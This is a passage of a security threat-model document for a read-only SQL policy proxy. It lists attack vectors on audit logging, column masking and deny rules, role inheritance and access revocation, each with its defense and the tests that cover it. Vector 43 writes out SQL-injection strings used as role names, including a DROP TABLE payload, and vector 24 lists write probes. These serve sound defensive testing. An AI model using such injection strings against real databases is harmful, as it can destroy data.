**Previously**: `column_access` obligations carried an `action` field (`"allow"` or `"deny"`) inside the definition JSON, independent of the policy's effect. A `permit`-effect policy with `"action": "deny"` would silently deny access — `compute_user_visibility()` checked `col_def.action == "allow"` to decide whether to grant table access, and a mismatch caused the user to see "table not found" in `policy_required` mode instead of the data the admin intended to expose.

**Tests**:

* `engine::tests::test_permit_column_access_wildcard_grants_full_visibility_policy_required` (unit) — attack 1
* `engine::tests::test_column_deny_cross_table_isolation` (unit) — attack 2 (column\_deny alone does not grant)

***

### 21. Denied queries must leave an audit trail

**Vector**: A user submits a query that is blocked by a deny policy or fails at plan time. If the audit log is only written on the success path, there is no record of the denied attempt — attackers can probe policy boundaries, learn which tables exist and which are protected, and enumerate deny rules without leaving evidence. Audit coverage must be total: every query that reached the proxy produces an audit row, regardless of outcome.

**Attacks**:

1. **Success still audited** — successful query → audit row with `status: "success"`, non-null `execution_time_ms`, `rewritten_query` contains actual SQL
2. **Deny-policy rejection audited** — deny-policy query → audit row with `status: "denied"`, `error_message` non-null
3. **Plan-time error audited** — query for a non-existent table → audit row with `status: "error"`, `error_message` populated
4. **Status filtering on the audit API** — `GET /audit/queries?status=denied` returns only denied entries

**Defense**: `handle_query` in `PolicyHook` uses a labeled block (`'query: { ... }`) that unconditionally returns a tuple `(result, status, error_message, rewritten_query)` on every exit path — success, denied, error. The audit write follows the block and runs for every auditable query regardless of outcome. Status values are constrained to `"success"`, `"error"`, or `"denied"`. Write-statement rejections are audited separately by the same hook before `ReadOnlyHook` runs (see vector 24).

**Previously**: The `tokio::spawn` audit write in `PolicyHook::handle_query` was placed after all `return Some(Err(...))` paths. Any failed or denied query short-circuited before reaching the audit write — denied attempts and plan-time errors produced zero audit records, leaving a probe-shaped blind spot in the audit trail.

**Tests**:

* `policy_enforcement::tc_audit_01_success_audit_status` (integration) — attack 1
* `policy_enforcement::tc_audit_02_denied_audit_status` (integration) — attack 2
* `policy_enforcement::tc_audit_03_error_audit_status` (integration) — attack 3
* `policy_enforcement::tc_audit_04_status_filter` (integration) — attack 4

***

### 22. Audit duration must cover the full user-perceived latency

**Vector**: The `execution_time_ms` field in the audit log must reflect the time the user actually waited for their result — planning + policy evaluation + execution + encoding. If the timestamp is captured before the lazy `DataFrame` has been materialized, the recorded duration systematically under-reports latency, making forensic timing comparisons unreliable and masking slow queries.

**Attacks**:

1. **Slow query under-reported** — a query that takes 2 seconds to encode a large result set must record at least 2 seconds in `execution_time_ms`, not just the sub-millisecond planning time

**Defense**: `elapsed_ms` is captured after the labeled block exits — covering planning, policy evaluation, logical-plan execution, *and* encoding into the pgwire response. `DataFrame` is a lazy structure in DataFusion, and the actual row fetching happens during `encode_dataframe`; placing the timestamp after encoding captures the full user-perceived latency.

**Previously**: `execution_time_ms` was captured after `execute_logical_plan` but before `encode_dataframe`. The recorded duration covered only the planning phase (which is effectively free for most queries), and the encoding phase — where the lazy `DataFrame` actually fetched and formatted rows — was entirely excluded. Audit entries for a 2-second query showed `execution_time_ms` near zero, making performance forensics useless.

**Tests**:

* `policy_enforcement::tc_audit_01_success_audit_status` (integration) — attack 1 (asserts `execution_time_ms ≥ 0` and non-null)

***

### 23. Rewritten query in audit log must be the real rewritten SQL

**Vector**: The audit log stores both the original query and a `rewritten_query` field that is supposed to show the actual SQL executed after policy enforcement. If the rewritten field is a fake placeholder (e.g., the original query with a comment prepended), the audit trail is useless for debugging policy behavior and for proving to auditors what was actually run against the upstream database.

**Attacks**:

1. **Placeholder rewritten\_query** — a policy-rewritten query whose audit row's `rewritten_query` field equals the original query with only a `/* policy-rewritten */` comment prepended provides no forensic value; the field must contain the real post-rewrite SQL showing injected filters and mask expressions

**Defense**: DataFusion's `Unparser` with the custom `BetweenRowsPostgresDialect` serializes the final `LogicalPlan` (after all policy rewrites — row filters, column masks, deny strips) back to SQL. The resulting string is stored as `rewritten_query` in the audit row. If unparsing ever fails (rare, usually due to a new plan node type), the fallback is `/* plan-to-sql failed */ {original_query}` — which explicitly signals the failure rather than silently lying.

**Previously**: `rewritten_query` was built by prepending `/* policy-rewritten */` to the original query string. It contained no information about which filters or masks had been applied, so audit consumers could not verify policy enforcement from the log alone — the field was decorative, not diagnostic.

**Tests**:

* `policy_enforcement::tc_audit_01_success_audit_status` (integration) — attack 1 (asserts `rewritten_query` must not contain the `/* policy-rewritten */` placeholder and must be non-empty when a row filter is applied)

***

### 24. Rejected write statements must be audited

**Vector**: BetweenRows is read-only by design — `ReadOnlyHook` rejects any write statement (INSERT, UPDATE, DELETE, DROP, SET, etc.). If the rejection happens *before* `PolicyHook` runs, the attempted write produces no audit record. An attacker can probe write access (testing which statement types are allowed, which tables exist, which DDL keywords the proxy recognizes) without leaving any evidence.

**Attacks**:

1. **Probe via INSERT** — `INSERT INTO customers VALUES (...)` against the proxy; must be rejected with a "read-only" error *and* must produce an audit row with `status: "denied"` and `error_message` containing `"read-only"`
2. **Probe via DROP** — same shape with `DROP TABLE`; same requirement

**Defense**: Hook execution order is `[PolicyHook, ReadOnlyHook]`. `PolicyHook` runs first: for non-`Query` statements that are not on the shared read-only passthrough allowlist, it calls `audit_write_rejected()` (writing a `"denied"` audit entry with `error_message: "Only read-only queries are allowed"`) before returning `None` to yield to the next hook. `ReadOnlyHook` then runs and enforces the actual rejection with SQLSTATE `25006`. The `is_allowed_statement()` function in `read_only.rs` is the single source of truth for the allowlist — `PolicyHook` uses it to decide which statements to audit, so the audit decision cannot drift from the rejection decision.

**Previously**: Hook order was `[ReadOnlyHook, PolicyHook]`. `ReadOnlyHook` returned `Some(Err(...))` for write statements and short-circuited the hook chain entirely, so `PolicyHook` never saw the statement and never had a chance to audit it. Write-probe attempts produced error responses with no corresponding audit rows.

**Tests**:

* `policy_enforcement::tc_audit_05_write_rejected_audit_status` (integration) — attacks 1, 2 (asserts the audit row for a rejected INSERT has `status: "denied"` and `error_message` contains `"read-only"`)

***

### 25. Row filter on aggregate with zero-column projection

**Vector**: User runs an aggregate query that references no non-aggregate columns, hoping the optimized plan skips row filter injection and returns rows outside the tenant scope — or crashes the query entirely and denies service.

**Attacks**:

1. **COUNT(\*)** — `SELECT COUNT(*) FROM orders`
2. **SUM of one column** — `SELECT SUM(amount) FROM orders`

**Defense**: Before wrapping a `TableScan` with a `Filter` node, `apply_row_filters` extracts column references from the filter expression via `Expr::column_refs()`. If the scan's `projection` is `Some(indices)`, any missing column indices required by the filter are merged into the projection and the `TableScan` is rebuilt via `TableScan::try_new(...)` with the expanded list. `lit(false)` and other zero-column-ref filters are a no-op (no expansion). A filter referencing a column absent from the full table schema returns a plan error.

**Previously**: `apply_row_filters` injected the filter unconditionally without checking whether filter-referenced columns were present in the scan's projected schema. DataFusion 52+ optimised `SELECT COUNT(*) FROM t` to `TableScan(projection = Some([]))` — projecting zero columns. The injected `Filter(tenant = 'acme')` node could not resolve `tenant` against an empty scan schema, causing a schema mismatch at execution time and failing the query.

**Tests**:

* `policy_enforcement::aggregate_with_row_filter` (integration) — attacks 1, 2

***

### 26. table\_deny metadata leakage — 404-not-403 principle

**Vector**: A `table_deny` policy that rejects queries with "access denied" (rather than "table not found") reveals the existence of the table to the attacker. By observing the difference between the two error types, an attacker can enumerate hidden tables without ever accessing their data — the error message itself is the side channel.

**Attacks**:

1. **Error message discrimination** — attacker runs `SELECT * FROM secrets_table` and inspects the error; the error must be indistinguishable from querying a genuinely non-existent table, and must not contain the policy name or any language suggesting the table exists but is hidden
2. **Audit status discrimination** — attacker with audit read access inspects the query audit log; the `status` field must match the "plan error" status (not a distinct "denied" status) and `error_message` must not contain the policy name

**Defense**: `table_deny` tables are removed from the per-user catalog at connection time by `build_user_context` / `compute_user_visibility`. Queries against a denied table fail with "table not found" at DataFusion's planner — indistinguishable from querying a genuinely non-existent table because the table is literally absent from the catalog the planner sees. The audit `status` is `"error"` (not `"denied"`), matching any other query planning failure. The policy name is never included in the error message or the audit entry for these queries.

**Tests**:

* `policy_enforcement::deny_policy_row_filter_rejected` (integration) — attack 1 (error message must not contain the policy name)
* `policy_enforcement::tc_audit_02_denied_audit_status` (integration) — attack 2 (audit status and error message verification)
* `policy_enforcement::tc_audit_04_status_filter` (integration) — attack 2 (audit `status=error` filter matches these entries)

***

### 27. Column deny scoping in multi-table JOINs

**Vector**: Multiple joined tables share a column name (e.g. three tables each with a `name` column). A policy denies `name` on a subset of those tables. Unqualified matching in the deny logic would either over-apply (strip `name` from all tables, including the one where it's allowed) or under-apply (leak `name` from the denied tables into the joined result).

**Attacks**:

1. **Shared column name across 3 joined tables** — JOIN tables `a`, `b`, `c` all with a `name` column, deny `name` on `a` and `c` only; `SELECT *` must return exactly one `name` column (from `b`) plus `id` from all three

**Defense**: Column deny is enforced at two levels: (1) visibility-level via `compute_user_visibility` / `build_user_context` — denied columns are removed from the per-user `SessionContext` schema at connect time, scoped per-table; (2) defense-in-depth via `apply_projection_qualified` — the top-level Projection uses DFSchema qualifiers (`(table, column)` pairs) to match deny patterns against the source table only, so a deny on `a.name` cannot accidentally match `b.name`.

**Tests**:

* `policy_enforcement::tc_join_02_multi_table_join_shared_name` (integration) — attack 1

***

### 28. Table alias does not bypass column deny or column mask

**Vector**: User aliases a table (e.g. `SELECT * FROM customers AS c`) hoping the alias causes the policy matcher to miss the table and leak denied or masked columns. A naive implementation matching on the alias qualifier (`c`) instead of the real table name (`customers`) would return raw values.

**Attacks**:

1. **Star projection through alias on deny target** — `SELECT * FROM customers AS c` where `email` is denied on `customers`; must return only non-denied columns, regardless of the alias
2. **Explicit alias-qualified reference to denied column** — `SELECT c.email FROM customers AS c`; must error (column not found / denied), not return raw values
3. **Alias-qualified reference to masked column** — `SELECT c.email FROM customers AS c` where `email` is masked; must return the masked value, not the raw email

**Defense**: Column deny is enforced at visibility level — denied columns are removed from the per-user schema before query planning, so they never appear in `SELECT *` expansion or alias-qualified references regardless of alias. Column mask is enforced at the `TableScan` level via `apply_column_mask_at_scan`, which operates on the real `TableScan` table name before any `SubqueryAlias` wrapping can change the qualifier. The alias is a label applied *above* the scan in the plan tree; the mask and deny rewrites happen *at* the scan.

**Tests**:

* `policy_enforcement::tc_join_03a_alias_column_deny` (integration) — attacks 1, 2
* `policy_enforcement::tc_join_03b_alias_column_mask` (integration) — attack 3

***

### 29. row\_filter alone does not grant visibility in policy\_required mode

**Vector**: Datasource is configured with `access_mode = "policy_required"`. A user has a `row_filter` (or `column_mask`) policy assigned to a table but no `column_allow` policy. An incorrect implementation could interpret "there's a policy on this table" as permission to see the table, bypassing the zero-trust requirement that visibility must be explicitly granted.

**Attacks**:

1. **row\_filter-only assignment, policy\_required mode** — user runs `SELECT ... FROM information_schema.tables` or `SELECT * FROM users` against a table that has only a `row_filter` attached in `policy_required` mode

**Defense**: `compute_user_visibility()` only adds a table to `visible_tables` when at least one `column_allow` policy matches it. `row_filter` and `column_mask` are *refinement* policies — they shape what a user sees after visibility is granted, but do not grant visibility on their own. Without a `column_allow`, the table is excluded from the per-user `SessionContext` catalog and is invisible in both `information_schema` queries and direct table references. The catalog admin API continues to show the table (admin view is unfiltered).

**Tests**:

* `policy_enforcement::tc_zt_04_sidebar_sync_row_filter_only` (integration) — attack 1

***

### 30. CTE wrapping does not bypass column deny, column mask, or column allow

**Vector**: User wraps a table in a Common Table Expression hoping the CTE's `SubqueryAlias` node changes the column qualifier from the real table name to the CTE alias, causing column-level policy patterns to miss at the top-level projection.

**Attacks**:

1. **CTE with column\_deny** — `WITH t AS (SELECT * FROM users) SELECT ssn FROM t` where `ssn` is denied; `SELECT *` inside the CTE must exclude `ssn`, and explicit `SELECT ssn FROM t` must error (column not in schema)
2. **CTE with column\_mask** — `WITH t AS (SELECT * FROM users) SELECT ssn FROM t` where `ssn` is masked; the query must return the masked value, not the raw value
3. **CTE with column\_allow (policy\_required mode)** — allow only `id, name`; `WITH t AS (SELECT * FROM users) SELECT ssn FROM t` must error (column not in allow list)

**Defense**: All three column-level policies enforce below the CTE boundary: (1) `column_deny` is enforced at visibility level by `compute_user_visibility` / `build_user_context` — denied columns are removed from the per-user schema before query planning, so they never enter the CTE's output schema; (2) `column_mask` is enforced at `TableScan` level via `apply_column_mask_at_scan`, which injects a mask `Projection` directly above the scan before any `SubqueryAlias` node is constructed; (3) `column_allow` in `policy_required` mode restricts the user's `SessionContext` schema to the allowed column set, so non-allowed columns are absent from the CTE's output. All three mechanisms operate at or below the scan, so alias qualifier changes at higher plan nodes cannot bypass them.

**Previously**: `column_mask` was enforced only at the top-level `Projection` via `apply_projection_qualified`. CTE nodes (`SubqueryAlias`) changed the DFSchema qualifier from the real table name (`users`) to the CTE alias (`t`), so the top-level matcher (which compared against the real table name) silently failed to apply the mask. Raw values leaked through any CTE wrapping. The fix added `apply_column_mask_at_scan` — a `transform_up` pass that injects the mask `Projection` directly above each `TableScan`, using `alias_qualified` to preserve the table qualifier on the masked column. Masks are cleared from `column_masks` after scan-level application to prevent double-masking.

**Tests**:

* `policy_enforcement::tc_plan_01a_cte_column_deny` (integration) — attack 1
* `policy_enforcement::tc_plan_01b_cte_column_mask` (integration) — attack 2
* `policy_enforcement::tc_plan_01c_cte_column_allow` (integration) — attack 3

***

### 31. Subquery-in-FROM wrapping does not bypass column deny, column mask, or column allow

**Vector**: User wraps a table in a subquery-in-FROM hoping the subquery's `SubqueryAlias` node changes the qualifier from the real table name to the subquery alias, causing column-level policy patterns to miss at the top-level projection.

**Attacks**:

1. **Subquery with column\_deny** — `SELECT sub.ssn FROM (SELECT * FROM users) AS sub` where `ssn` is denied; `SELECT *` inside the subquery must exclude `ssn`, and explicit `sub.ssn` must error
2. **Subquery with column\_mask** — same shape, `ssn` masked; the query must return the masked value
3. **Subquery with column\_allow (policy\_required mode)** — allow only `id, name`; `sub.ssn` must error (column not in allow list)

**Defense**: Same as vector 30. All three column-level policies enforce at or below the `TableScan` — before the `SubqueryAlias` node is constructed in the plan tree. Column deny removes columns from the per-user schema at visibility time; column mask injects a mask `Projection` directly above the scan via `apply_column_mask_at_scan`; column allow restricts the schema to the allowed set at connection time. Alias qualifier changes at higher plan nodes cannot bypass any of these.

**Previously**: Same regression as vector 30 — column mask was enforced only at the top-level `Projection`, and the `SubqueryAlias` qualifier change caused the matcher to miss. Raw values leaked through any subquery wrapping. Fixed by adding scan-level mask enforcement (`apply_column_mask_at_scan`), which runs below all alias-changing plan nodes.

**Tests**:

* `policy_enforcement::tc_plan_02a_subquery_column_deny` (integration) — attack 1
* `policy_enforcement::tc_plan_02b_subquery_column_mask` (integration) — attack 2
* `policy_enforcement::tc_plan_02c_subquery_column_allow` (integration) — attack 3

***

### 32. Row filter and column mask on the same column

**Vector**: A `row_filter` and a `column_mask` are configured on the same column (e.g. `ssn`). The row filter's predicate (`ssn != '000-00-0000'`) must evaluate against raw values, not masked values — otherwise a row that should be excluded (because its raw `ssn` equals the sentinel) passes the filter because the masked value (`'***-**-0000'`) doesn't match, leaking that row.

**Attacks**:

1. **Filter predicate evaluated on masked value** — row filter `ssn != '000-00-0000'`, mask replaces `ssn` with `'***-**-XXXX'`; a row with raw `ssn = '000-00-0000'` must be excluded (filter sees raw) and the remaining rows must be masked in the output

**Defense**: The enforcement order in `apply_policies` is (1) `apply_column_mask_at_scan`, (2) `apply_row_filters`, (3) `apply_projection_qualified`. Both mask and filter injection use `transform_up` on `TableScan`. Because mask runs first, the plan tree is built bottom-up as `Projection(mask) → Filter(row_filter) → TableScan`. At execution time data flows scan → filter (raw data) → mask — so the row filter always evaluates against unmasked values, while the output projection still sees masked values.

**Previously**: `apply_row_filters` ran before `apply_column_mask_at_scan`. `transform_up` produced `Filter(row_filter) → Projection(mask) → TableScan`, where data flowed scan → mask → filter — so the filter saw masked values. A predicate like `ssn != '000-00-0000'` matched against the masked sentinel `'***-**-0000'` instead of the raw value, incorrectly including rows that should have been filtered out.

**Tests**:

* `policy_enforcement::row_filter_and_column_mask_same_column` (integration) — attack 1

***

## RBAC (Role-Based Access Control) — Vectors 33–45

### 33. Role-based datasource access grants connection

**Vector**: User has no direct `data_source_access` entry but is a member of a role that has role-scoped access. The connection must succeed, resolving access through the user's role memberships rather than relying on a direct user-to-datasource grant.

**Attacks**:

1. **Role-only access path** — user with no direct `data_source_access` row, member of a role that has a role-scoped entry; `connect_as(user, ds)` must succeed

**Defense**: `resolve_datasource_access()` in `role_resolver.rs` checks all three scopes in order: user-direct (`scope = 'user'`), role-based (`scope = 'role'` with any of the user's resolved role IDs), and all-scoped (`scope = 'all'`). Access is granted if any scope matches.

**Tests**:

* `policy_enforcement::rbac_02_role_based_access_connect_succeeds` (integration) — attack 1

***

### 34. Inherited role datasource access

**Vector**: User is a member of a child role. The child role has no direct datasource grant, but its parent role does. Access must be granted via inheritance — a naive implementation that only checks directly-assigned roles would reject the connection.

**Attacks**:

1. **Access via inherited parent role** — user in child role C, which inherits from parent role P, where P has datasource access and C does not

**Defense**: `resolve_user_roles()` performs a BFS from the user's direct roles upward through the `role_inheritance` edges, collecting all reachable active ancestor role IDs. `resolve_datasource_access()` then checks the full resolved set against `data_source_access` entries scoped to any of those roles, so parent access is found transitively.

**Tests**:

* `policy_enforcement::rbac_03_inherited_role_access_connect_succeeds` (integration) — attack 1

***

### 35. Cycle detection in role inheritance

**Vector**: Admin attempts to create a circular inheritance chain (e.g., A→B→C→A) to cause infinite loops or stack overflow in role resolution.

**Attacks**:

1. **Three-role cycle** — create roles A→B, B→C, then attempt C→A; must return HTTP 422

**Defense**: `detect_cycle()` in `role_resolver.rs` runs a BFS from the proposed parent upward through existing inheritance edges before any insertion. If the child is reachable from the parent, the insert is rejected with HTTP 422. The detect-and-insert pair runs inside a single SQLite transaction (see vector 48), so SQLite's single-writer serialization prevents two concurrent `add_parent` calls from each passing cycle detection independently and together creating a cycle.

**Tests**:

* `policy_enforcement::rbac_15_cycle_detection_abc` (integration) — attack 1

***

### 36. Self-referential role inheritance

**Vector**: Admin sets a role as its own parent — a trivial cycle of length 1. A cycle detector that only looks at existing edges (not the edge being inserted) would miss this case.

**Attacks**:

1. **Role parents itself** — `add_parent(role_id, role_id)` must return HTTP 422

**Defense**: `detect_cycle()` short-circuits on `parent_id == child_id` before running the BFS. The self-edge case is caught as the first check.

**Tests**:

* `policy_enforcement::rbac_16_self_referential_rejected` (integration) — attack 1

***

### 37. Inheritance depth cap at 10 levels

**Vector**: Admin creates a role inheritance chain deeper than 10 levels to cause performance degradation, stack overflow, or unbounded BFS work during role resolution on every query.

**Attacks**:

1. **Depth-10 chain** — a chain of exactly 10 inheritance edges must be accepted
2. **Depth-11 chain** — adding one more edge to make the chain 11 deep must be rejected with HTTP 422

**Defense**: `resolve_user_roles()` caps BFS traversal at depth 10 at runtime. `check_inheritance_depth()` is invoked before each `add_parent` insertion: it computes the total chain depth through the new edge (depth above the proposed parent + 1 + depth below the proposed child — see vector 45d) and rejects the insert if the total would exceed 10.

**Tests**:

* `policy_enforcement::rbac_17_depth_cap` (integration) — attacks 1, 2

***

### 38. Deny-wins across roles

**Vector**: User is a member of two roles with conflicting policies on the same column — Role A denies the column via `column_deny`, while Role B allows it via `column_allow`. A permit-first resolver could return the allow verdict, leaking data that the deny was intended to block.

**Attacks**:

1. **Conflicting deny+allow from different roles** — user assigned to both Role A (`column_deny` on `ssn`) and Role B (`column_allow` including `ssn`); `SELECT ssn FROM customers` must be denied

**Defense**: Deny-type policies always take precedence regardless of their source. `compute_user_visibility` and `PolicyEffects::collect` both apply deny effects (column\_deny, table\_deny) after resolving all effective assignments from all scopes, so a deny from *any* role immediately removes the column (or table) from the user's reachable set. The permit from another role cannot override it.

**Tests**:

* `policy_enforcement::rbac_14_deny_wins_over_allow_from_different_roles` (integration) — attack 1

***

### 39. Policy assignment scope mismatch

**Vector**: An API caller sends a policy-assignment request with inconsistent scope/ID combinations — e.g., both `user_id` and `role_id` set, or `scope='user'` without a `user_id`. An under-validating implementation could create an ambiguous assignment that matches unintended scopes at query time.

**Attacks**:

1. **Both user\_id and role\_id set** — request with `scope='user'`, `user_id=X`, and `role_id=Y`; must return HTTP 400
2. **scope=user with role\_id** — request with `scope='user'` and `role_id=Y` (no `user_id`); must return HTTP 400
3. **scope=role with user\_id** — request with `scope='role'` and `user_id=X` (no `role_id`); must return HTTP 400
4. **scope=all with IDs** — request with `scope='all'` and either ID set; must return HTTP 400

**Defense**: `assign_policy` validates scope constraints at the API layer: `scope='user'` requires exactly `user_id` (no `role_id`), `scope='role'` requires exactly `role_id` (no `user_id`), and `scope='all'` requires neither. Any mismatch returns HTTP 400 before the assignment is persisted.

**Tests**:

* `policy_enforcement::rbac_70_both_user_and_role_rejected` (integration) — attack 1
* `policy_enforcement::rbac_71_scope_user_with_role_id_rejected` (integration) — attack 2
* `policy_enforcement::rbac_72_scope_role_with_user_id_rejected` (integration) — attack 3
* `policy_enforcement::rbac_73_scope_all_with_ids_rejected` (integration) — attack 4

***

### 40. Role deactivation immediately removes access

**Vector**: Admin deactivates a role (sets `is_active = false`). Members of that role must lose all policies and datasource access derived from the role immediately — on their very next query — without requiring reconnection. A lazy approach that waited for reconnection would allow continued access after deactivation.

**Attacks**:

1. **Query after role deactivation** — user in role R runs a successful query, admin deactivates R, user's next query must fail or return empty (per `policy_required` mode) without any reconnection

**Defense**: `resolve_user_roles()` BFS skips inactive roles entirely, so derived policies and access grants disappear from the resolved set immediately. Deactivation in the `PATCH /roles/{id}` handler triggers `policy_hook.invalidate_user()` and `proxy_handler.rebuild_contexts_for_user()` for every affected member (resolved via `resolve_all_role_members`), forcing a `SessionContext` rebuild on all active connections before the next query is processed.

**Tests**:

* `policy_enforcement::rbac_42_deactivate_role_loses_policies` (integration) — attack 1

***

### 41. Deactivated role in the middle of an inheritance chain breaks the chain

**Vector**: In a chain A→B→C, admin deactivates B. Members of A must lose access to C's policies (because their inheritance path went through B). A BFS that skipped inactive roles only as a filter on the final result — but still traversed their edges — would incorrectly reach C through the deactivated B.

**Attacks**:

1. **Transitive access through deactivated middle role** — user in A, chain A→B→C, B deactivated; C's policies must no longer apply to A's members

**Defense**: `resolve_user_roles()` stops BFS traversal *at* inactive roles, not after them. When B is deactivated, the BFS from A's direct roles does not enqueue B's parents at all, so C becomes unreachable. Deactivation triggers a rebuild for all affected members (see vector 40).

**Tests**:

* `policy_enforcement::rbac_43_deactivate_middle_role_breaks_chain` (integration) — attack 1

***

### 42. Template variables always resolve from the user, not the role

**Vector**: A `row_filter` policy with `{user.tenant}` is assigned to a role rather than directly to a user. When multiple users in that role connect, each user's filter must resolve against their own `tenant` attribute — not against a shared role value, and not against an arbitrary user who happened to create or edit the policy.

**Attacks**:

1. **Per-user template resolution via role-assigned policy** — users U1 (tenant=acme) and U2 (tenant=globex) both belong to role R; policy P with `tenant = {user.tenant}` is assigned to R; U1's queries must return only acme rows and U2's only globex rows

**Defense**: Template variable substitution in `PolicyHook::handle_query` uses the authenticated user's identity and `attributes` column at query time, not any role metadata. Roles have no attributes of their own — the `role` entity has only a name, description, and enable flag. The substitution path is the same whether the policy was assigned to the user directly, to the role, or to `scope='all'`.

**Tests**:

* `policy_enforcement::rbac_24_row_filter_via_role_template_vars` (integration) — attack 1

***

### 43. SQL injection via role name

**Vector**: Admin (or attacker with role-create privileges) creates a role with a name containing SQL syntax, hoping the name is interpolated into a query somewhere and allows injection.

**Attacks**:

1. **SQL-fragment in role name** — create role named `"; DROP TABLE role; --"` or `'OR '1'='1`; must return HTTP 422 (invalid characters)

**Defense**: Role name validation at the API layer restricts names to `[a-zA-Z0-9_.-]`, 3–50 characters, and must start with a letter. Any input containing SQL metacharacters (quotes, semicolons, spaces, etc.) is rejected before the value touches any query builder. Additionally, all database access in the codebase uses parameterized queries via SeaORM, so even if a malformed name somehow reached a query, it would be bound as a parameter rather than concatenated.

**Tests**:

* `policy_enforcement::rbac_34_invalid_role_name_chars` (integration) — attack 1

***

### 44. Diamond inheritance deduplication

**Vector**: A user is reachable to the same policy via two distinct inheritance paths (e.g., user → A, A inherits from both B and C, both B and C inherit from D, policy P assigned to D). A naive resolver would apply P twice, potentially multiplying the effect of combinable policies or exposing internal ordering that shouldn't be observable.

**Attacks**:

1. **Policy reachable via two paths in diamond hierarchy** — user in A, A→B→D and A→C→D, policy P on D; P must apply exactly once regardless of the two reachable paths

**Defense**: `resolve_effective_assignments()` in `role_resolver.rs` deduplicates resolved assignments by `policy_id`, keeping the assignment with the lowest `priority` value when duplicates exist. Deduplication happens once at resolution time; downstream code (`PolicyEffects::collect`, visibility computation) sees each policy at most once.

**Tests**:

* `policy_enforcement::rbac_18_diamond_no_duplicate_policy` (integration) — attack 1

***

### 45a. Revoked role datasource access must invalidate active connections

**Vector**: Admin revokes a role's access to a datasource via `PUT /datasources/{id}/access/roles` (removing the role from the submitted list). Any user whose access to that datasource came via the revoked role must lose access on their next query. A half-invalidating implementation that only refreshes added roles — but not removed ones — would allow revoked members to continue querying until they disconnected.

**Attacks**:

1. **Continued access after role revocation** — user U has access to datasource D only through role R; admin removes R from D's role-access list; U's next query must fail

**Defense**: `set_datasource_role_access` in `datasource_handlers.rs` captures `old_role_ids` before deleting the old role-scoped access entries. After `txn.commit()`, it computes `all_affected = old_role_ids ∪ new_role_ids` and calls `policy_hook.invalidate_user()` + `proxy_handler.rebuild_contexts_for_user()` for every member of every affected role (resolved via `resolve_all_role_members`). This forces a `SessionContext` rebuild on active connections *before* the next query, regardless of whether a role was added, removed, or kept. An audit log entry is also written inside the `AuditedTxn`.

**Previously**: `set_datasource_role_access` only invalidated members of newly-added roles. Users who lost access via a removed role could continue querying against their stale `SessionContext` until they voluntarily disconnected. The change was invisible to affected users for arbitrarily long periods.

**Tests**:

* Structural verification via code review: `set_datasource_role_access` invokes invalidation on `old_role_ids.union(&new_role_ids)`. (See the integration-level rebuild coverage in `rbac_42_deactivate_role_loses_policies` — same rebuild code path.)

***

### 45b. Revoked user datasource access must invalidate and audit

**Vector**: Admin changes the user access list via `PUT /datasources/{id}/users`, removing a user from the list. The removed user must lose access on their next query, and the mutation must be recorded in the admin audit log so the revocation is traceable.

**Attacks**:

1. **Continued access after user removal** — user U has direct access to datasource D; admin removes U from D's user access list; U's next query must fail
2. **Unaudited revocation** — the same revocation must produce an `admin_audit_log` entry with `resource_type: "datasource"`, `action: "update"`, and `changes` showing the before/after user-id sets

**Defense**: `set_datasource_users` in `datasource_handlers.rs` captures `old_user_ids` before deleting the old user-scoped access entries. After `txn.commit()`, it invalidates `old_user_ids ∪ new_user_ids` via `policy_hook.invalidate_user()` + `proxy_handler.rebuild_contexts_for_user()` for each. The mutation uses `AuditedTxn`, which writes an audit entry atomically with the access change — so an unaudited commit is impossible (see vector 49).

**Previously**: `set_datasource_users` had no cache invalidation and no audit log call at all. Removed users could continue querying indefinitely against stale `SessionContext` entries, and there was no record in the admin audit log of which admin revoked which user's access.

**Tests**:

* Structural verification via code review: `set_datasource_users` invokes invalidation on `old_user_ids ∪ new_user_ids` and writes an audit entry via `AuditedTxn`. Rebuild path shares code with `rbac_42_deactivate_role_loses_policies`; audit path is structurally enforced by `AuditedTxn::commit()` requiring at least one queued entry (see vector 49 unit tests).

***

### 45c. Silent rebuild failure must not leave stale SessionContext in place

**Vector**: After a policy or role mutation, `rebuild_contexts_for_datasource` or `rebuild_contexts_for_user` runs in the background to refresh each active connection's `SessionContext`. If the rebuild fails for one connection (upstream database unreachable, transient schema error, etc.), the failure must not leave the stale `SessionContext` in place — otherwise that connection keeps enforcing the old policies, potentially missing a newly-added deny.

**Attacks**:

1. **Transient rebuild error leaves stale context** — admin adds a new `column_deny` policy; the background rebuild for connection C fails; C's next query must either apply the new policy or fail with "please reconnect" — it must not use the stale pre-deny context

**Defense**: On rebuild failure, the stale connection entry is removed from `conn_store.connection_contexts`. The user's next query then hits a "Session context not found — please reconnect" error, forcing a fresh connection that re-runs `check_access` and `build_user_context` from scratch. This fail-closed pattern ensures stale state cannot silently serve queries.

**Previously**: The error from a failed rebuild was logged but the connection entry was left in place with the old `SessionContext`. The next query used the stale context, potentially missing a just-added deny policy, until the user happened to disconnect.

**Tests**:

* Structural verification via code review: both `rebuild_contexts_for_datasource` and `rebuild_contexts_for_user` call `conn_store.connection_contexts.remove(&conn_id)` in the error branch.

***

### 45d. Inheritance depth check must account for both sides of the new edge

**Vector**: The depth cap (vector 37) must consider the total chain length through the proposed new edge, not just one side. An implementation that only checked the depth above the parent could accept an edge that creates an 11-level chain because the child has a deep subtree below it that wasn't counted.

**Attacks**:

1. **Parent has depth 2 above, child has depth 8 below; proposed edge would yield total depth 11** — `add_parent(parent=A, child=B)` where A is 2 levels deep upward and B is 8 levels deep downward; must be rejected (total = 2 + 1 + 8 = 11 > 10)

**Defense**: `add_parent` calls both `check_inheritance_depth` (BFS upward from the proposed parent) and `check_inheritance_depth_down` (BFS downward from the proposed child) and computes `total = depth_above_parent + 1 + depth_below_child`. If the total exceeds 10, the insert is rejected with HTTP 422. Both BFS traversals are capped by the same depth limit so they terminate in bounded time.

**Previously**: `add_parent` only called `check_inheritance_depth` on the proposed parent (upward). It ignored the child's downward subtree entirely, so a parent at depth 2 could adopt a child whose subtree extended to depth 8 — the combined chain was 11 levels deep, but the check only saw 2 + 1 = 3 and accepted the edge. Queries against members of the resulting chain then hit the depth-10 cap at resolution time, producing unpredictable errors or truncated role sets.

**Tests**:

* `role_resolver::tests::u16_depth_down_chain` (unit) — verifies downward depth calculation on the child subtree
* `role_resolver::tests::u17_total_depth_check` (unit) — verifies total depth accounting through the new edge (attack 1)

***

### 46. Effective members source annotation must identify the actual direct-member role

